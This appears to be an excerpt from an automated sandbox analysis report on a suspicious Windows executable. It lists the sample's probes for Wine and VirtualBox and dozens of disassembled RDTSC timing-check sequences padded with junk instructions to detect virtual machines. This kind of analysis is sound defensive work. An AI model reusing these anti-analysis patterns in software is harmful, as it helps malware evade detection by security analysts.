Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 81CF1A second address: 81CF1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 81CF1E second address: 81CF24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 81CF24 second address: 81C786 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7F9153F88Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+122D2005h], ebx 0x00000013 push dword ptr [ebp+122D1529h] 0x00000019 jmp 00007F7F9153F882h 0x0000001e stc 0x0000001f call dword ptr [ebp+122D1FDFh] 0x00000025 pushad 0x00000026 cld 0x00000027 xor eax, eax 0x00000029 or dword ptr [ebp+122D1BC9h], esi 0x0000002f mov edx, dword ptr [esp+28h] 0x00000033 cmc 0x00000034 clc 0x00000035 mov dword ptr [ebp+122D3560h], eax 0x0000003b mov dword ptr [ebp+122D1BC9h], ebx 0x00000041 mov esi, 0000003Ch 0x00000046 jmp 00007F7F9153F882h 0x0000004b xor dword ptr [ebp+122D22AFh], esi 0x00000051 add esi, dword ptr [esp+24h] 0x00000055 cmc 0x00000056 cmc 0x00000057 lodsw 0x00000059 jmp 00007F7F9153F882h 0x0000005e cld 0x0000005f add eax, dword ptr [esp+24h] 0x00000063 sub dword ptr [ebp+122D22E3h], eax 0x00000069 mov ebx, dword ptr [esp+24h] 0x0000006d sub dword ptr [ebp+122D26D5h], esi 0x00000073 nop 0x00000074 push esi 0x00000075 jmp 00007F7F9153F87Eh 0x0000007a pop esi 0x0000007b push eax 0x0000007c pushad 0x0000007d push eax 0x0000007e push edx 0x0000007f jng 00007F7F9153F876h 0x00000085 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 81C786 second address: 81C794 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F7F91348E26h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 990CEA second address: 990CEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9902D7 second address: 9902DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 99058D second address: 9905A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F7F9153F886h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9905A8 second address: 9905B2 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7F91348E2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 992C03 second address: 81C786 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7F9153F876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b add dword ptr [esp], 38D8A137h 0x00000012 cmc 0x00000013 push dword ptr [ebp+122D1529h] 0x00000019 mov ecx, 1C6C2C96h 0x0000001e call dword ptr [ebp+122D1FDFh] 0x00000024 pushad 0x00000025 cld 0x00000026 xor eax, eax 0x00000028 or dword ptr [ebp+122D1BC9h], esi 0x0000002e mov edx, dword ptr [esp+28h] 0x00000032 cmc 0x00000033 clc 0x00000034 mov dword ptr [ebp+122D3560h], eax 0x0000003a mov dword ptr [ebp+122D1BC9h], ebx 0x00000040 mov esi, 0000003Ch 0x00000045 jmp 00007F7F9153F882h 0x0000004a xor dword ptr [ebp+122D22AFh], esi 0x00000050 add esi, dword ptr [esp+24h] 0x00000054 cmc 0x00000055 cmc 0x00000056 lodsw 0x00000058 jmp 00007F7F9153F882h 0x0000005d cld 0x0000005e add eax, dword ptr [esp+24h] 0x00000062 sub dword ptr [ebp+122D22E3h], eax 0x00000068 mov ebx, dword ptr [esp+24h] 0x0000006c sub dword ptr [ebp+122D26D5h], esi 0x00000072 nop 0x00000073 push esi 0x00000074 jmp 00007F7F9153F87Eh 0x00000079 pop esi 0x0000007a push eax 0x0000007b pushad 0x0000007c push eax 0x0000007d push edx 0x0000007e jng 00007F7F9153F876h 0x00000084 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 992C36 second address: 992C3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 992F66 second address: 992F76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 992F76 second address: 992FAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F91348E31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007F7F91348E3Bh 0x00000015 jmp 00007F7F91348E35h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9B25BB second address: 9B25BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9B272B second address: 9B2749 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F7F91348E38h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9B2B9D second address: 9B2BA6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9B2BA6 second address: 9B2BB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 je 00007F7F91348E2Eh 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9B2BB9 second address: 9B2BC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9B2E7D second address: 9B2EEF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F7F91348E2Fh 0x00000008 jc 00007F7F91348E26h 0x0000000e pop esi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push ecx 0x00000013 push edx 0x00000014 pop edx 0x00000015 jmp 00007F7F91348E35h 0x0000001a pop ecx 0x0000001b jp 00007F7F91348E28h 0x00000021 pushad 0x00000022 popad 0x00000023 pushad 0x00000024 jmp 00007F7F91348E34h 0x00000029 jc 00007F7F91348E26h 0x0000002f jmp 00007F7F91348E36h 0x00000034 popad 0x00000035 push esi 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9B2EEF second address: 9B2EF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9B3228 second address: 9B3238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 jbe 00007F7F91348E52h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9B3238 second address: 9B323C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9B33AB second address: 9B33AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9B33AF second address: 9B33D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F882h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007F7F9153F878h 0x0000000f push edi 0x00000010 pop edi 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9B33D0 second address: 9B33D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9B3680 second address: 9B36A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F7F9153F876h 0x0000000a popad 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007F7F9153F883h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9B3E47 second address: 9B3E79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F91348E2Bh 0x00000009 popad 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007F7F91348E3Fh 0x00000013 jmp 00007F7F91348E39h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9B3E79 second address: 9B3E92 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7F9153F88Bh 0x00000008 jmp 00007F7F9153F87Fh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 97E34D second address: 97E367 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7F91348E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7F91348E2Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 97E367 second address: 97E36B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9BAF73 second address: 9BAF78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9BB479 second address: 9BB480 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9BB480 second address: 9BB496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007F7F91348E2Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9BB496 second address: 9BB4A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F7F9153F876h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9BB4A0 second address: 9BB4A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9BB4A4 second address: 9BB4B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push esi 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9BB4B4 second address: 9BB4CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop esi 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jns 00007F7F91348E26h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9BB4CA second address: 9BB4CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9B9D37 second address: 9B9D41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F7F91348E26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9B9D41 second address: 9B9D54 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7F9153F876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9B9D54 second address: 9B9D58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9B9D58 second address: 9B9D5E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9B9D5E second address: 9B9D65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9BB5F2 second address: 9BB646 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F881h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jnp 00007F7F9153F884h 0x00000013 mov eax, dword ptr [eax] 0x00000015 push eax 0x00000016 jns 00007F7F9153F87Ch 0x0000001c jnl 00007F7F9153F876h 0x00000022 pop eax 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 pushad 0x00000028 pushad 0x00000029 jnp 00007F7F9153F876h 0x0000002f push edi 0x00000030 pop edi 0x00000031 popad 0x00000032 push eax 0x00000033 push edx 0x00000034 jo 00007F7F9153F876h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9BB79B second address: 9BB7A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F7F91348E26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9BE99C second address: 9BE9A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F7F9153F876h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9BDF3A second address: 9BDF3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9BE094 second address: 9BE0C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F9153F888h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7F9153F87Eh 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9BE231 second address: 9BE235 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9BE235 second address: 9BE239 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9BE239 second address: 9BE249 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F7F91348E26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9BE249 second address: 9BE24F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9BE24F second address: 9BE25F instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7F91348E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9BE25F second address: 9BE276 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 jmp 00007F7F9153F87Ah 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9BE276 second address: 9BE27A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9BE27A second address: 9BE294 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F87Dh 0x00000007 jp 00007F7F9153F876h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9BE83E second address: 9BE842 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9BE842 second address: 9BE856 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7F9153F87Ah 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9C05DB second address: 9C063B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F91348E31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov esi, dword ptr [ebp+122D22BCh] 0x00000010 call 00007F7F91348E29h 0x00000015 jl 00007F7F91348E43h 0x0000001b pushad 0x0000001c push edi 0x0000001d pop edi 0x0000001e jmp 00007F7F91348E39h 0x00000023 popad 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F7F91348E35h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9C063B second address: 9C066F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F884h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F7F9153F886h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9C066F second address: 9C0696 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F7F91348E35h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jo 00007F7F91348E26h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9C0696 second address: 9C069A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9C069A second address: 9C06A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9C06A0 second address: 9C06B0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9C0A87 second address: 9C0A8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9C0A8D second address: 9C0A99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9C0A99 second address: 9C0A9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9C16FE second address: 9C1708 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9C1708 second address: 9C170C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9C17CA second address: 9C17E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F883h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9C17E5 second address: 9C17E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9C1851 second address: 9C185B instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7F9153F876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9C1904 second address: 9C191A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7F91348E28h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push esi 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9C191A second address: 9C191E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9C191E second address: 9C1956 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7F91348E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007F7F91348E28h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 xchg eax, ebx 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b jbe 00007F7F91348E26h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9C1956 second address: 9C1960 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7F9153F876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9C1E57 second address: 9C1E5C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9C27CF second address: 9C27D4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9C27D4 second address: 9C2812 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov si, BAE6h 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007F7F91348E28h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 0000001Ah 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c push eax 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 jc 00007F7F91348E26h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9C2812 second address: 9C2827 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F87Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
